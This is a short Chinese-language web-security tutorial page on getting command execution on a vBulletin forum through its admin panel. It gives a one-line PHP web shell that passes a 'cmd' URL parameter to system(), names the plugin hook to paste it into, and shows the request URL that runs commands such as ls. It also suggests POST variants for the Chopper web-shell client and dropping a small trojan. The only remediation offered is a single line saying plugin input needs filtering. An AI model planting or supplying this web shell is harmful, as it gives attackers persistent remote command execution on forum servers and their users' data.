vBulletin论坛后台拿shell及修复 - 网站安全 - 自学

 

在后台，进插件管理.添加插件.

    Ajax_complete 填入代码:

if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}

激活mod

    访问：HdhCmsTest2cto测试数据 /forumlocation/ajax.php?cmd=command

 

    比如：HdhCmsTest2cto测试数据 /forumlocation/ajax.php?cmd=ls，就执行了ls的命令。

 

    就是一个简单的get型一句话，也可以改成post型的，放入菜刀，或者写个put型的，生成一个小马

 

防范：

插件这里尚需过滤

查看更多关于vBulletin论坛后台拿shell及修复 - 网站安全 - 自学的详细内容...